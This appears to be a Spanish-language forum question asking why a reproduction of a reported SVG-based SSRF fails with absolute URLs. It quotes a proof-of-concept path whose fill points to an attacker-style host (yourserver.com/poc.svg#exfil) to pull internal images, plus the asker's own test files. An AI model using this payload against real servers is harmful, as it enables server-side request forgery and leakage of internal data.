Leí este informe interesante que describe una vulnerabilidad de SSRF que permite obtener imágenes internas utilizando la propiedad url en un elemento de ruta. Sin embargo, aunque es probable que esta vulnerabilidad se base en el servidor que renderiza la imagen, no he podido reproducir la forma en que esto se logró a través de un simple documento HTML.
Por lo que entiendo, se utilizó un elemento de ruta para llamar a elementos svg externos bajo el control del atacante:
<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"
donde poc.svg
contiene esto:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
<image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
</pattern>
</defs>
</svg>
Supongo que la parte <redacted>
apunta a una imagen en el servidor vulnerable. Creo que <pattern id="exfil">
es importante porque muchos elementos svg requieren ese tipo de identificador ( id
) ya que hacen referencia a otros elementos en el mismo documento. Sin embargo, no he podido replicar este patrón con el parámetro "relleno".
Esto es básicamente lo que estoy haciendo:
<html>
<body>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
</svg>
</body>
</html>
y otherpoc.svg:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
<image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
</pattern>
</defs>
</svg>
Ahora, esto funciona correctamente. Si tuviera un archivo google.png como recurso local, entonces se buscaría tal como estaba previsto. Sin embargo, las rutas absolutas (como en <path fill="url(http://server.com/otherpoc.svg#exfil)"
) no parecen funcionar (la url no se resuelve). Si desea probar esto, recuerde usar Firefox u otra navegación que permita este tipo de resolución de URL.
Agradecería cualquier ayuda.